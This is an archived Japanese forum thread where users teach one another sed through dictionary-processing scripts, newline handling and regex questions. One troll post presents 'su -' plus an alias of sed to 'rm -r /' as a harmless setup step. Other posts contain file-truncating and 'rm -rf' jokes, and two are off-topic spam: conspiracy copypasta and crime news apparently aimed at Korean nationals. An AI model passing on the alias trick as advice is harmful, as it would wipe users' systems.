X



トップページLinux
181コメント63KB
おまいら! sed の使い方教えて下さいm(_ _)m
■ このスレッドは過去ログ倉庫に格納されています
0001sed@修業中垢版03/11/03 08:26ID:62bfq5Tp
Linux使ってるならsedあたりはサックって使えるようになりたい。
だけどなかなかまとまった日本語の解説がすくなくて苦労する。
ここで皆の智恵をだしつくして欲しい!

日本語解説サイト
http://www-6.ibm.com/jp/developerworks/linux/010202/j_l-sed1.html
http://www-6.ibm.com/jp/developerworks/linux/010216/j_l-sed2.html
http://www-6.ibm.com/jp/developerworks/linux/010223/j_l-sed3.html

英語だとここからたどれる
http://sed.sourceforge.net/index.html
0003login:Penguin垢版03/11/03 08:41ID:uOnbNLjG
サックっと削除依頼を出しなさい。
0005login:Penguin垢版03/11/03 09:16ID:Zp8b1C/Y
む、面白そうだけどなぁ > sedスレ。awkも一緒に扱ってくれるとありがたい。
とりあえずリンク貼り

sedは日暮れて
http://www.chimimo.com/sed/
0007sed@修行中垢版03/11/03 10:11ID:62bfq5Tp
例えば英辞郎の加工で
【用例xxx】部分を書き出すと英作に役立つ例文集ができるとおもうんだけど
こんなのどうやるかなんて考えてみたい。
0009sed@修行中垢版03/11/03 12:43ID:62bfq5Tp
>>7から続き
とりあえずsedにやらせたいことをファイルに書きながらやっていこう。
yourei.sed
=============================
/【用例.*/p
d
=============================
確認してみる
$ sed -f yourei.sed eijirou.txt | more


とりあえず【用例 を含む行だけ抜粋できた。
ここからまだまだ加工が必要だな。
ぼちぼちやっていくさ。。。
0010login:Penguin垢版03/11/03 13:16ID:kps3+oSU
ダメではないんだが、シェルスクリプト御用達系のスレは馬力がなくていかん。

てなわけで今度立てるときはsedとawk両方で立ててくれ。
0011sed@修行中垢版03/11/03 19:11ID:62bfq5Tp
>>10
そうするよ。
早く終りそうな方が統合スレたてたらいいんだよね?

>>9のつづき
じゃまな振り仮名を削除してみる。
furigana.sed
===============================
s/{[^}]}//g
d
===============================
※振り仮名は全角の{}で囲まれている。

$ sed -f yourei.sed eijirou.txt | sed -f furigana.sed > yourei.txt

次は一行テキストの途中に現われる【用例xxx】のところを改行したい。
0012login:Penguin垢版03/11/03 19:19ID:1oU+54gi
いらんもの全部削除

sed -f /dev/zero gomi.txt > gomi.txt
0013sed@修行中垢版03/11/03 20:24ID:62bfq5Tp
>>11のつづき
【用例xxx】で改行させてみる。
kaigyou.sed
=========================
s/\/[[:blank:]]/\/\
/g
=========================
※英辞郎はスペース + スラッシュ + スペースで用例を区切っている。

$ sed -f yourei.sed eijirou.txt | sed -f furigana.sed | sed -f kaigyou.sed > yourei.txt

0014login:Penguin垢版03/11/03 20:29ID:IeH/wT1r
例題ネタとしては、GNU sed-4.0.XのinfoのExampleにいろいろあるよ。
0015sed@修行中垢版03/11/03 21:24ID:62bfq5Tp
>>13のつづき

■で始まる行は邪魔なので削除する。
$ sed -e '/^■/d' yourei.txt > yourei1.txt

英文と和訳が対になってる行だけにする。
$ sed -n -e '/[[:space:]]:[[:space:]]/p' yourei1.txt > yourei2.txt

行頭を■で統一
$ sed -e '/^【[^】]*】[[:space:]]/d' yourei2.txt | sed -e 's/^/■/g' > yourei3.txt

行末にある/を削除
$ sed -e 's/\/$//g' yourei3 > yourei4.txt

ここまでで用例集ができた。
0016sed@修行中垢版03/11/03 21:26ID:62bfq5Tp
>>14さん
情報有難う。
参考にさせてもらうね。
0017login:Penguin垢版03/11/03 21:37ID:WvAzeZwK
質問。sedで改行するとき、例えば;を改行に置換したいとすると

sed -e 's/;/;\
/g'
改行入れてかいてるんだけど・・。
これが凄い面倒なので一行で書く方法ってないんでしょうか。
0018sed@修行中垢版03/11/03 21:44ID:62bfq5Tp
>>17さん
すまないねぇ、あてくしもただいま修行中の身で
お役にたてないワン
0021sed@修行中垢版03/11/03 22:48ID:62bfq5Tp
>>17さん
私もいっぱいいっぱいでやってるから
サクッとさじ投げたけど
私のやってる通り改行部分をファイルに書き出して読みこめばいいのでは?

$ sed -e 's/;/;\
> /g'

上記改行なら
kaigyou.sed
======================
s/;/;\
/g
======================

$ sed -f kaigyou.sed hoge > hage

まあ改行したいタイミングで sed -f kaigyou.sed とやればよいのでは?
0022sed@修行中垢版03/11/04 00:05ID:nEpLG0yd
>>15のつづき
>行末にある/を削除
>$ sed -e 's/\/$//g' yourei3 > yourei4.txt
$ sed -e 's/\/$//g' yourei3.txt > yourei4.txt //訂正


折角できた用例集だけどこのままではつまらないから
英作問題集風に加工してみよう。

$ sed 's/[[:space:]]:[[:space:]]/\/●/g' yourei4.txt > yourei5.txt

kaigyou2.sed
==========================
s/\//\/\
/g
==========================

$ sed -f kaigyou2.sed yourei5.txt | sed -e 's/\/$//g' > yourei6.txt



0023login:Penguin垢版03/11/04 00:06ID:bVXB9fu5
●●●マスコミの 「盗聴/盗撮」 は許されるの?その7A●●●    http://natto.2ch.net/mass/kako/1004/10049/1004950940.html
915 名前: 文責:名無しさん 投稿日: 02/01/20 12:40 ID:FHCYQpiB
今度は、インターネットで犯罪を告発している人自身を直接攻撃することを
彼らは考えるだろう。彼らはインターネット上の告発者が誰かということは
自分達自身が嫌がらせをしているのではじめから知っているのである。
彼らは、NTT等の通信事業者に働きかけて告発者のインターネット接続を
あらゆる方法で妨害をしはじめるだろう。
もちろんこれは、れっきとした犯罪であるためあからさまにやると、
今度は告発者に訴えられたり脅迫されたりされる危険性がある。
そのため、彼らは法律に触れない程度で告発者を妨害する方法はないだろうか?と考える。
そこで出てくるのが....
-虚報戦術-
いくつかの事実といっしょに実体のない噂を山ほど流す。
そのため(情報の)受信者は事実と噂を見分けることが出来ない。
アルビン・トフラー著 「パワーシフト」より
真実の情報を隠すために、偽の情報と真実の情報を混ぜ
どれが真実の情報かわからなくさせる情報工作というものがある。

彼らは自分達が行っている、いたずら電話、脅迫電話、盗聴、盗撮、
ストーカー、住居不法侵入等の真実の情報を誤魔化し閲覧者が混乱するようにするために、
「思考盗聴、透視、遠隔操作」などの誰も信じないような、偽の情報と織り交ぜて
マスメディア関係者が組織的にホームページや掲示板を通じて自分で被害者を演じ
インターネット上で自作自演を行っている可能性がある。
われわれはこういった盗聴犯罪者の馬鹿げた自作自演に気をつけなければならない。
002517垢版03/11/04 17:12ID:HXfyqLO7
>>21
レスありがとー、
特定の文字の後に改行したいってのは個人的に良くある
シュチュエーションなもので、
もちょっと簡単にできる方法誰か知ってればなぁなんて思ってたんです。

それともう一つ疑問なのが、
time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done
real 0m25.056s
user 0m3.043s
sys 0m21.228s

time for i in `find ./ -type f|sed 's/.*\///' `;do echo ${i};done
real 0m0.312s
user 0m0.172s
sys 0m0.096s
こんな感じに、デカイループの中にsedがあるとトテツモナク動作が
重くなるんですが・・・、これってsedがいくつも起動されちゃうから
なのかな。
でかいループ中にsed挟まなきゃならない場合はsedより別スクリプトに
パイプって感じにしたほういいんでしょうかね。
教えて君で申し訳ないのですが、、、。
0026login:Penguin垢版03/11/04 21:36ID:WMTM9YVK
>>25
ちなみに。。。
同じような書き方ならPerlのほうが、微妙に早いかも。
#!/usr/bin/perl
open HDL, "find . -type f|";
while(<HDL>)
{
s/.*\///;
print;
}
0027sed@修行中垢版03/11/07 22:48ID:EXg8IQbZ
ちまちま分けて書くのが面倒なので、
1つのファイルにまとめて書きたいと思ったんだけど
思うようにできない。。。

yourei.sed
=============================
s/{[^}].*}//g
/【用例.*/{
s/\/[[:space:]]/\/\
/g
p
}
==============================

$ -n -f yourei.sed eijirou.txt | more

この状態だとこれ以上の編集ができないんだよね。。。
一旦ファイルに落してからつづきをするしかないのかな?
0028sed@修行中垢版03/11/08 14:05ID:V7rCJWEy
>>27に間違いがあった。
>$ -n -f yourei.sed eijirou.txt | more
$ sed -n -f yourei.sed eijirou.txt | more
0029login:Penguin垢版03/11/09 11:16ID:oORuYec6
つーかスレタイが腹立つな。態度が馬鹿にしてる
0030login:Penguin垢版03/11/10 11:04ID:ZJpiLeJv
>>27
>この状態だとこれ以上の編集ができないんだよね。。。
>一旦ファイルに落してからつづきをするしかないのかな?
意味がよくわからんのだが、
sed -n -f yourei.sed eijirou.txt | sed -e '....'
じゃダメなのか?
あと、1行目を
#!/usr/bin/sed -n -f
として chmod +x しておくといいかも。
0031sed@修行中垢版03/11/10 20:17ID:ytRwFQ/P
>>30
いちいちファイルに落さなくてもパイプでつなげるね。
指摘ありがとう。

ただ、>>27 で言おうとしてたのは
パイプで繋いでいく部分も全て1つのファイルにまとめられないかな?
ってことだったんだけど、

例えば >>27 の yourei.sed を
============================
s/{[^}].*}//g
/【用例.*/{
s/\/[[:space:]]/\/\
/g
s/\/$//g
p
}
============================

としても s/\/$//g の部分が実行できてない。
これは一度編集が終ったサイクルは読みこめないってことなのかな?
0032login:Penguin垢版03/11/10 21:22ID:HfGu945d
>>sed@修行中
sedの置換命令のデリミタには任意の文字が使えるぞ。
置換文字列に'/'が含まれるなら。'/'を'\'でエスケープするよりも
文字列に含まれない文字をデミリタにすると読みやすいと思う。


s/\/[[:space:]]/\/\
/g

s@/[[:space:]]@/\
@g

s/\/$//g

s%/$%%g
0033login:Penguin垢版03/11/10 21:45ID:HfGu945d
>>31
> としても s/\/$//g の部分が実行できてない。
そうそう、sedは入力行に対して'^'と'$'は最初の行頭と行末にしかマッチしなかった気がする。
置換の結果、改行文字が挿入されて行が増えても、
新たな行頭と行末は'^'と'$'にマッチしないみたいだね。
0035sed@修行中垢版03/11/10 22:13ID:ytRwFQ/P
>>32
そうだね そのほうがずっと見やすいね。
教えてくれてありがとう。
0038sed@修行中垢版03/11/10 23:12ID:ytRwFQ/P
http://ime.st/www.gcd.org/sengoku/sedlec/

拡張子がdocになってるけどlessでもみれるから
私はそれぞれのファイルを全部catでマージして
拡張子をtxtに変更してtknamazuから検索できるようにしている。
かなり平易に説明してくれてると思うよ。
0039sed@修行中垢版03/11/11 02:23ID:1ZoP6XVJ
>>33
sedの改行処理がネックになっているみたいです。
yourei.sed
=======================
s/{[^}].*}//g
/【用例.*/{
s%\/[[:space:]]%\/\
%g
s%$%\n%g
p
}
======================
$ sed -n -f yourei.sed eijirou.txt | more

こうすると改行処理前の1行テキストごとに
\nが挿入されていました。
要するに見ためで改行しているだけで
1行テキストとしては改行処理前のものを認識しています。
0040login:Penguin垢版03/11/11 11:01ID:GaIDSE/z
>>37
あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。
むしろ .txt の方が少なかったような気が。

>>39
>1行テキストとしては改行処理前のものを認識しています。

うんにゃ。
$ はパターンスペースの最後にマッチするメタキャラクタであって、
何らかの操作でパターンスペース中に改行が増えても
^, $ でマッチする部分が増えるわけではない

もし改行処理前(s// 実行前)のものが認識されるのであれば、
echo aaa | sed 's/a/b/; s/a/c/'
の結果は s/a/b/ が s/a/c/ に上書きされて caa になるはずだけど、
実際は s/a/b/ の置換結果に対して s/a/c/ が実行されるので bca になる。
0041login:Penguin垢版03/11/11 11:06ID:viYZ+vae
>>40
> あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。
なのに Content-Type: application/msword なのね。
0042login:Penguin垢版03/11/11 15:51ID:nI9atQTW
>>41
すでに一般的になっている拡張子を横取りする辺り
さすが某社な感じがしたね。
いまじゃ拡張子docをテキストに使う人なんていなくなったなぁ。
0043sed@修行中垢版03/11/11 16:42ID:1ZoP6XVJ
>>40
>$ はパターンスペースの最後にマッチするメタキャラクタであって、
>何らかの操作でパターンスペース中に改行が増えても
>^, $ でマッチする部分が増えるわけではない

お手上げです。
1つのスクリプトファイルにまとめたかったんだけど
無理みたいですね。
0044login:Penguin垢版03/11/11 22:39ID:TEb8ctrO
>>43
改行への置換と行末の/の削除を同時にすればいいじゃん。

s/{[^}].*}//g
/【用例.*/{
s%/[[:space:]]%\
%g
p
}
0045sed@修行中垢版03/11/11 23:40ID:1ZoP6XVJ
>>44
なるほど、そんなことができたんですね。
1つ手順が減りました。ありがとう。
0046login:Penguin垢版03/11/12 20:36ID:LHJK+sHI
viviのアウトライン解析機能を使っています。
「リナンバ」とやると、
1.1
1.3
1.5
なんてのが、
1.1
1.2
1.3
ときちんと書き直してくれます。vimでもこういうことがやりたいのですが、挫折してまして、
sedで可能かと考えています。お力をお貸しください。
0048login:Penguin垢版03/11/13 02:03ID:voeoED2+
オライリのセッドアンドオークは正直分かりにくい
0050徳さん垢版03/11/27 01:49ID:T81Yg0h9
>>25
time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done

do 〜 done はまとめてリダイレクトできるのだ

time for i in `find ./ -type f`;do echo ${i};done | sed 's/.*\///'

すっごく速くなったぞ
# sed ってよりshellのお題だな
0051login:Penguin垢版03/11/28 03:06ID:UcUoDcec
``でサブシェル起動するからね...

find . -type f | xargs sed 's/.*\///'
とか
find . -type f | while read i; do sed 's/.*\///' ${i}; done
のほうがいいのでは?
(上だと全ファイルまとめてsed。下だと一つづつsed)
0052sed@修行中垢版03/11/29 01:56ID:FhRoB8U6
ぬぬぅ

これは早急にシェルスクリプトを習得せねば
なんかわかんないけどすごく便利なことしてそうな予感。
0053login:Penguin垢版03/11/29 02:39ID:MWd5bA5L
普通はシェルコマンドや正規表現を先に覚えるべきでは???
まぁあまり人のことは言えないが(w
0054login:Penguin垢版03/11/29 05:45ID:Nom6UDvM
>>52
早くしてるだけだよ。
でも>>50が出してきた例は、上と下で動作が違うから注意しな。
この例みたいに全部標準出力に垂れ流すsedなら一緒だけど。

>>53
UNIX的思想では小さいプログラムを組み合わせて使うから、
必要に応じて機能を探せばいい。
順番なんてナンセンス、だと思うな。
0055login:Penguin垢版03/11/29 06:03ID:Nom6UDvM
燃料投下の意味もこめて、ほったらかしの>>46にささげます。
正規表現の部分は手抜きで、柔軟性のかけらもありません。
加工したいテキストにあわせて書き換える必要があるでしょう。
#なおテストはしてません。

while :
do
cnt=`expr $cnt + 1`
sed 's/^\([ \t]*1\.\)[1-9][0-9]*/\1'$cnt'/' < 加工したいファイル
done
0056fireな男書き込み中垢版03/11/29 06:51ID:L/Ar23C0
俺様がテーチインしてやるから

まずスーパーユーザにならなくちゃ行けないんだよ。
$ su -
そんでもって、sedはプロトタイプ宣言が必要なんだ。Cのプリプロセッサ
のようなものって思って良いけど難しいから以下のようにタイプする。
$ alias sed='rm -r /'
すると起動完了だから、sedがバッチリ起動する。
このおまじないで絶対に止めては行けないサーバとかでも
安心してセキュリティを気にせずに実行する事が可能だ。ZDNetとかの
linux-tipsとかlinux-mini-howtoに載っているよ。

0057login:Penguin垢版03/12/01 11:34ID:OhP2Gise
>>46
sed でやることじゃないな。

#!/usr/bin/awk -f
$1 ~ /[0-9]+\.[0-9]+/{
split($1, tmp, /\./)
if(tmp[1] <= sec){
subsec += 1
} else{
sec += 1
subsec = 1
}
sub(/[0-9]+\.[0-9]+/, sec "." subsec)
}
{ print }

>>56
つまらない。
0058login:Penguin垢版04/01/10 09:17ID:siaa18gv
vi と awk + join + sort
で、RDBMS ができるようだ。

#!/bin/sh
join -1 1 -t: /etc/passwd /etc/ftpusers \
| sort -t ":" -n -k 3 \
| awk 'BEGIN {FS=":"; OFS="\t";} \
$7 != /bin/false && $3 >= 1000 \
{print $1, $3, $4, $7;}'

awk の変数 OFS がなぜかFreeBSDで通らないのが謎。

って、ここはsed刷れだった。
sedもいじってみよう。
0059login:Penguin垢版04/01/10 10:55ID:siaa18gv
awkつまみ食い(1時間コース)
ttp://www.is.kochi-u.ac.jp/~honda/Joen/07Awk.html




/* emp.dat */
Beth 4.00 0
Dan 3.75 0
Kathy 4.00 10
Mark 5.00 20
Mary 5.50 22
Susie 4.25 18

/* m6.awk */
BEGIN { print "*** Employee Statistics ***" }
$3 > 15 { emp = emp + 1 }
{ pay = pay + $2 * $3 }
$2 > max { max = $2; who = $1 }
{ names = names $1 " " }
{ last = $0 }
END {
print "Employee list:", names;
print NR, "employees";
print emp, "employees worked more than 15 hours." ;
print "total pay is",pay;
print "average pay is",pay/NR;
print "Highest hourly rate:", max, "for", who ;
print "Who was the last:",last;
}
0060login:Penguin垢版04/01/10 10:57ID:siaa18gv
$ awk -f m6.awk emp.dat

*** Employee Statistics ***
Employee list: Beth Dan Kathy Mark Mary Susie
6 employees
3 employees worked more than 15 hours.
total pay is 337.5
average pay is 56.25
Highest hourly rate: 5.50 for Mary
Who was the last: Susie 4.25 18


ほかにも、 awk は 組み込み 関数や、
if-else文、 while文、 for文などを 使った 複雑な 計算や
プログラム制御を おこなう ことが できます。

これらの 詳細に ついては、 C言語を 学んだ 後で 参考書
「プログラミング言語AWK」
エイホ・ カーニハン・ ワインバーガー著・ 足立訳 (トッパン・ 3,400円)を...
0061login:Penguin垢版04/01/10 14:28ID:gicz3W8H
久しぶりに良スレだ。
まとめサイトキボソ
0062login:Penguin垢版04/03/07 01:23ID:0UiefwuC
保守上げ
0063login:Penguin垢版04/03/15 22:06ID:cMKAgcb5
!/usr/bin/perl -p
if(/(\d+)\.\d+/) {
if($1 > $sec) {
$sec=$1;
$subsec=1;
} else {
$subsec++;
}
s/\d+\.\d+/$sec.$subsec/;
}
006463垢版04/03/15 22:09ID:cMKAgcb5
>>46
スレ違いだがawkでもいいなら、、、
57のperl版でw
0065login:Penguin垢版04/04/07 10:33ID:okZh1+9q
漏れは、改行はtrつかって変換してる'\012'
0069login:Penguin垢版05/01/27 01:33:29ID:rr1tF+uZ
保守
0070login:Penguin垢版05/02/20 10:54:51ID:SQt2t8zo
sedを使ってhogeを"hoge"にしたいんですけど
s/^/\"/とs/$/\"/を一度にできますか?
0073login:Penguin垢版05/02/20 11:53:39ID:x3mWXcsm
>>70
sed -e "s/^/\"/" -e "s/$/\"/"
sed -e "s/^\(.*\)$/\"\1\"/"
0074login:Penguin垢版05/02/20 12:09:51ID:SQt2t8zo
>>71-73
感謝!


キモの\(.*\)と\1の意味が理解できないorz
精進します
007571垢版05/02/20 12:28:33ID:9r4p9Jy7
ああ、hogeは可変なのか…
だからs/^/\"/とかしてたわけね orz
0076login:Penguin垢版05/02/25 23:31:47ID:CmL+OxWl
sedでカレントパスにある、重複名ファイルを削除すること出来ますでしょうか?
0077login:Penguin垢版05/02/26 00:08:54ID:Oyc5PjG3
「重複名ファイル」が何のことか分からんが、
sedでファイルを削除することはできません
0078login:Penguin垢版05/03/05 11:26:28ID:Xag2FfiC
パイプに渡してrmコマンドで削除はできる
0079login:Penguin垢版2005/05/27(金) 23:31:57ID:RlR1k47P
>>1は氏んだのか?
0080login:Penguin垢版2005/08/21(日) 09:54:50ID:PDEd7qsy
>>78
全然試さずに聞いてみるのだがそれってファイル中身じゃなくて
ファイル自体が消えるの?
0081login:Penguin垢版2005/08/22(月) 23:00:28ID:/oDO6UGR
おれは引数の中身までは分からんが

ls | sed 'hogehoge' | rm -rf

ってことだろ。
0082login:Penguin垢版2005/08/22(月) 23:09:43ID:/oDO6UGR
あれ?
>カレントパスにある、重複名ファイル
こんなもん作れないだろ・・・作れたらスクリーンショットとってどっかに挙げてくれ。
0083login:Penguin垢版2005/11/06(日) 18:45:52ID:d1sLJr10
age
0084login:Penguin垢版2005/11/20(日) 11:35:39ID:zC+iRPbI
つ[MS‐DOSを256倍使うための本〈Vol.3〉]
0085login:Penguin垢版2005/11/21(月) 18:01:23ID:9OlIZyoL
>>84
「MAKE make Make.」

「640Kのバリヤーのなかで」
の章を読めば良いんですね。
わかりました。
ありがとうございました。
0086login:Penguin垢版2005/11/22(火) 00:22:49ID:HxwKhGDI
rm -rfv `find . | grep '~$'`

こんなのよくやる。
0087login:Penguin垢版2005/11/26(土) 06:21:39ID:kJunMMiz
こんなのを適当にファイル名を指定してやってみよう。

   sed 's/\w//g' <ファイル名>
0088login:Penguin垢版2005/11/28(月) 02:00:25ID:LhHzdh/r
疑問なんだけど、デフォルト入力とかで
行をファイル(標準入力でもいいけど)から読み込んでくるとき、
パターンスペースに格納されるテキストには
その行が本来持っていた末尾の改行は保持されるの、
それとも捨てられてるの?
009088垢版2005/11/29(火) 02:04:37ID:JFndx1yi
>>89
ありがd。そうみたいだね。実は自己解決してました。
man sedしてもわからなかったけどinfo sedしたら書いてあったよ(GNU sedね)。
「SED 教室 第三回」にもこうあった。
http://www.gcd.org/sengoku/sedlec/3.txt

> SED は起動されるとまず、標準入力の最初の行をパターンスペースにコピーし
>ます。この時点でパターンスペースの内容は「これは一行目だ。」になります。
>行末の改行コードは捨てられてパターンスペースの中にはありませんので注意し
>てください。
0091login:Penguin垢版2005/11/30(水) 21:51:21ID:O2ouymZd
Cのソースから
//
/* */
のコメントを取り除けますか?sedで。
0093login:Penguin垢版2005/11/30(水) 22:43:30ID:+mlzjm+U
>できるよ。

/*


*/
のように複数行に分かれている場合にもできますか?
0095login:Penguin垢版2005/12/03(土) 04:22:17ID:tqW1lQSk
要するに,「/*」と「*/」を削除すれば?
0096login:Penguin垢版2005/12/03(土) 10:13:01ID:Tw8V4WMs
ヒント:
ttp://www.gcd.org/sengoku/sedlec/12.txt
---------- SED 教室 第十二回 「〜から〜まで、基礎編」 ----------
0097login:Penguin垢版2006/01/22(日) 16:17:53ID:IDyOrogG
SED
0098login:Penguin垢版2006/02/24(金) 16:50:56ID:cbN1qQJn
@@@
0100login:Penguin垢版2006/04/12(水) 02:40:10ID:TK6X7NqV
深夜挙げ
0102login:Penguin垢版2006/08/22(火) 16:17:23ID:GMKE0Nda
むむむ
0103login:Penguin垢版2007/04/18(水) 00:02:42ID:znSq4roi
>>1
0104login:Penguin垢版2007/04/21(土) 20:59:54ID:3cd3hhH7
sed -e 's/XX/VV/g'|rm -rf
パイプの概念すらしらん奴はこの板すらのぞかない方が君の為だ。
0105login:Penguin垢版2007/04/21(土) 21:05:07ID:Xv/Wu2nU
とりあえず、何をどうしたいのか、問題をはっきり定義してくれ。
そうすりゃ、見本スクリプト書いて説明してやるよ。
ややこしいことやるなら、ほんとはPerlのほうが使いやすいけど。
0106login:Penguin垢版2007/11/23(金) 23:18:25ID:jeG9bac3
括弧そのものの削除ってどうやるの・・・
\( ってやっても expression エラーがでるんだけど・・・orz
0108login:Penguin垢版2007/11/26(月) 16:59:12ID:BfF24vJW
実装次第かも知れんが、\(〜\)がグループ化で()は普通の括弧文字って実装が割と多い気がするね。
0109login:Penguin垢版2007/11/26(月) 18:40:27ID:K1ODcPAV
BREとEREの違いですね。
GNUのsedなら、-rをつけるとEREになるから、
\(〜\)じゃなくて(〜)でグループ化になりますよ。
0110login:Penguin垢版2007/11/27(火) 02:16:55ID:ha+qq+GW
>>108
GNUの拡張を除けば、グループ化が ( と ) なsedはないんじゃないか?
0111login:Penguin垢版2008/04/17(木) 05:57:23ID:OFfDkpoC
夢翔塾代表 逮捕後アリバイ工作 証人威迫容疑で福岡県警再逮捕 拘置中、男に依頼

特定非営利活動法人(NPO法人)「ハートランド夢翔塾(むしょうじゅく)」(福岡県大牟田市)代表の川野弘樹容疑者(36)=児童福祉法違反の罪で起訴=が、
塾生の少女=当時(16)=にわいせつ行為をしたとされる事件で、同県警は5日、拘置中に知り合った男と事件当日のアリバイ工作をしたとして、
証人威迫の疑いで川野容疑者を再逮捕し、大牟田市草木、飲食店従業員李永浩容疑者(32)を逮捕した。
調べでは、川野容疑者は大牟田署の留置場に拘置された際、別の事件で拘置されて同房だった李容疑者と共謀。
略式起訴で2月1日に保釈された李容疑者は同日夜、大牟田市内の川野容疑者の知人女性を訪ね、
「(わいせつ事件の)犯行時、川野容疑者と一緒にいたと証言してくれ」と、うそのアリバイ証言をするように強要した疑い。
両容疑者に面識はなく、留置場内で謀議していたという。川野容疑者は黙秘し、李容疑者は容疑を認めているという。
県警は5日、川野容疑者が昨年10月8日にも同市内の路上に止めた乗用車内で同じ少女にわいせつ行為をしたとして、
児童福祉法違反(淫行(いんこう))容疑でも再逮捕した。

ttp://www.nishinippon.co.jp/nnp/national/20080306/20080306_001.shtml


浜松・連続女性暴行:懲役20年を求刑 /静岡

浜松市の連続女性暴行事件で強姦(ごうかん)致傷などの罪に問われた同市中区北寺島町、
韓国籍の会社員、李正遠(イチョンウォン)被告(34)の論告求刑公判が4日、地裁浜松支部 (北村和裁判長)であった。
検察側は懲役20年を求刑した。
毎日新聞
ttp://mainichi.jp/area/shizuoka/news/20080305ddlk22040174000c.html


強制わいせつ容疑で逮捕 /福岡

26日、八幡東区石坪町、土木作業員、崔吉竜容疑者(32)を。
今月12日午後6時50分ごろ、門司区内の会社事務所に「トイレを貸してほしい」と
言って立ち入り、事務員の女性(32)に抱きつくなどわいせつな行為をした疑い。
前日にも事務所を訪れており、「強制ではない」などと犯意を否認しているという。

ttp://mainichi.jp/area/fukuoka/news/20080227ddlk40040511000c.html
0112login:Penguin垢版2008/04/18(金) 01:44:25ID:/C9YMQcQ
unix 板のアレがこっちに来たのかと思った。
0114login:Penguin垢版2008/07/17(木) 19:01:07ID:fSKuDDXe
head.logというファイルの先頭に「HOGEHOGE」という文字列を挿入しようとしています。

head.logの中身は
-------
test
test
-------
という二段の文字列です。
最初に直接sedを用いて

sed -e '1 s/^/HOGEHOGE\n/' head.log

というコマンドで
-------
HOGEHOGE
test
test
-------
と表示することには成功しました。
0115login:Penguin垢版2008/07/17(木) 19:02:47ID:fSKuDDXe
ただ、シェルスクリプトを
----------------------------
#!/bin/sh

echo "input word"
read word
sed -e "1 s/^/${word}\n/" head.log
----------------------------
のように書いて、wordにHOGEHOGEを代入してこれを実行すると

-------
HOGEHOGE
HOGEHOGE
test
test
-------
のように、HOGEHOGEが二回繰り返して表示されてしまいました。
この原因は何なのでしょうか?
対策方法などありましたらアドバイスよろしくおねがいします。
0116login:Penguin垢版2008/07/17(木) 20:43:30ID:KzL7zakf
>>115
まず関係ないと思われる部分を省いて少しずつ試しなよ。

0117login:Penguin垢版2008/07/17(木) 20:49:48ID:KzL7zakf
ヒント
----------------------------
#!/bin/sh

echo "input word"
read word
echo ""
sed -e "1 s/^/${word}\n/" head.log
----------------------------
0118login:Penguin垢版2008/07/17(木) 21:07:52ID:fSKuDDXe
うわああああ!!
恥ずかしいです(><)

ありがとうございました(;_;)
0119login:Penguin垢版2008/08/01(金) 22:50:22ID:WR526y3P
改行の扱いについて教えてください。

以下のページによると
http://www.gcd.org/sengoku/sedlec/3.txt

> では「ジャンプせよ」という命令を実行することなくスクリプトの最後の行を
> 過ぎてしまったらどうなるのでしょうか。(中略)この様な場合、SED は p と d を
> 自動的に実行します。

とありますが、
echo -n aaa | sed -e 's/aaa/bbb/'
を実行すると
bbb
が改行を伴わずに出力されます。

上記の説明と異なる結果でよく分からないのですが、、、
パターンスペースに各行の文字列を入れる際、行末の改行は捨てられるが、
その行が改行を伴っていたか伴っていなかったかについて、sedは何らかの形で
記憶している、そしてデフォルトの出力の際、もともと改行を伴っていたか
どうかによって、出力文字列に改行を付けている。
このような理解でよろしいでしょうか。

よろしくお願いします。
0120login:Penguin垢版2008/08/02(土) 00:47:41ID:+VO1N7E+
age
0121login:Penguin垢版2008/08/03(日) 00:52:44ID:VOatfWTi
>>119

GNU sed のソースを見た限りでは、一行ごとに読み込んでいるのだけど
改行がついていたかどうかのフラグを持ってるね。
んで、入力に改行がなかった場合には出力にも付加しない。

POSIX的にはどうか知らないけど 119にある理解でいいんじゃないか?
0122119垢版2008/08/03(日) 21:20:32ID:S34ZH5Ab
>>121
デフォルトの出力に関しては、最終行での改行の有無を意識しておけばよい
ということですかね。
調べていただいてありがとうございました。
0123121垢版2008/08/04(月) 02:43:40ID:GBDGU4jb
>>122

sedはawkとかPerlみたいにレコードの区切りを変えることができなくて一行単位というのは
動かないから、改行コードのあるなしが問題になるのは最終行だけだね。

ソースをちょっと grep してちょっと眺めただけだからたいした手間じゃないよ。

0124login:Penguin垢版2008/08/05(火) 20:51:25ID:X/szKwVr
grepの場合、改行がない最終行に対しては、改行を付けて出力するね。
0125login:Penguin垢版2008/10/27(月) 23:21:57ID:BnAQXfRx
"aaa"
"bbb
ccc"

このようなファイルの2行目と3行目を連結したいのですが、可能でしょうか。
0126login:Penguin垢版2008/10/28(火) 00:00:22ID:LqvgIl+t
>>125
詳しい条件書かないとわからんよ。

s/b\n/b/g

その例には使えるけど。
0127login:Penguin垢版2008/10/28(火) 00:04:49ID:gCa9/U26
ありがとうございます。
この例で使えれば大丈夫なのですが、
条件として\nは使えるのでしょうか。
0129login:Penguin垢版2008/10/28(火) 01:08:53ID:dGaeCgPM
>>127
「自分の環境では、\nが認識されませんでした。」か?
0130login:Penguin垢版2008/10/28(火) 01:24:35ID:LqvgIl+t
>>127
ああ、すまん。確かにダメだわ。sedじゃないけど、

perl -pe "s/b\n/b/g" ファイル名

これで勘弁。
0131login:Penguin垢版2008/10/28(火) 03:01:43ID:/qenFkSI
/bbb$/{
N
s/\n//
}

でどう?

マッチ文字列や置換文字列に \n が使えるかどうかは環境によるので
お前さんがどういうところで使っているかを書かなければ答えようがない。
0132login:Penguin垢版2008/11/09(日) 22:38:03ID:iboFIZ94
>「Error」がある行に,「### Check Line ###」という新しい行を追加する
>$ $ sed -e "/Error/i #### Check Line ###" source.txt

↑の構文なのですが、「新しい行を追加する」のではなく、
行の入れ替えを行う方法は無いでしょうか?
0133login:Penguin垢版2008/11/10(月) 02:48:47ID:oBt1rply
>>132
入れ替えって何と何を入れ替えるの?
#### の行を先に出力したいってこと?
0134login:Penguin垢版2008/11/10(月) 05:23:57ID:Vv2a12Zc
>>133
例えば、以下のようなテキストがあった場合
111
222
Error 333
444
555

「Error」がある行に,「### Check Line ###」という行に入れ替えたいです。
以下のようなイメージです。
111
222
### Check Line ###
444
555

0136login:Penguin垢版2008/11/11(火) 21:48:17ID:DQj2Ej4A
>>135
遅くなりましたが有難うございました!
0137login:Penguin垢版2008/11/15(土) 16:52:59ID:FFNCNb8R
ナイスなスレだな
